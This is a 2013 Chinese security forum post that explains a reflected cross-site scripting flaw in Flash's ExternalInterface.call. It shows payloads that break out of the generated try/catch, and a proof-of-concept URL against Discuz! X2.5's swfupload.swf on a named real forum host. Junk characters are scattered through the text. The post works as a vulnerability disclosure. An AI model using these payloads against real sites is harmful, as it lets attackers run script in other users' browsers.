找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
3 K  m' `! M- u- a# b# r/ V7 I$ d/ A# t+ a1 h9 Y2 t& c6 e  U
flash.external.ExternalInterface.call($methodName, $parameter)' R( p( }2 Q2 H9 Q( b  e+ W
在浏览器中执行的是
* {2 g+ ?# q5 }/ I7 d) Y
% ]4 E; T, x; t) j% gtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% g5 E, a# s1 m对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: j8 ]3 D5 Q+ B7 }+ q: L7 k  v" q7 \! B6 K  O  s7 N
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
; k3 l  \8 U5 a( _" l# j/ O7 R$methodName = a())}catch(e){alert(/xss/)}//( c; n7 f" ]; w- C* x
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。9 C3 E% n- K& I( P) b

) |' y: Y# L2 P+ C* [' L) B" ~4 k) vtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }  e( c1 H1 i2 G# \* f

4 X8 t. a2 h2 T0 Z3 Y这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 u4 _% S' F$ r0 R5 S1 y4 L
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。7 H9 s7 s/ k! e+ Z8 S; ?0 i
. M, U5 V1 j/ d

( \2 _: S/ ^! M. n
1 {% ~2 z9 Z/ Z( v漏洞文件:upload\static\image\common\swfupload.swf
  @& i9 W) N) i) A: E3 S% c  S: C7 p- S1 D
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 M& v+ z) K: K2 A
( |; C/ h& P) g* k& R: L( a  ~& X5 Z7 S7 T# N  ?8 y0 \
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//1 h; W, v% l; ^( O) E( L
9 C+ O8 ?$ F; B5 D$ c3 y* \- w
4 A5 G! S4 z4 ]- R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表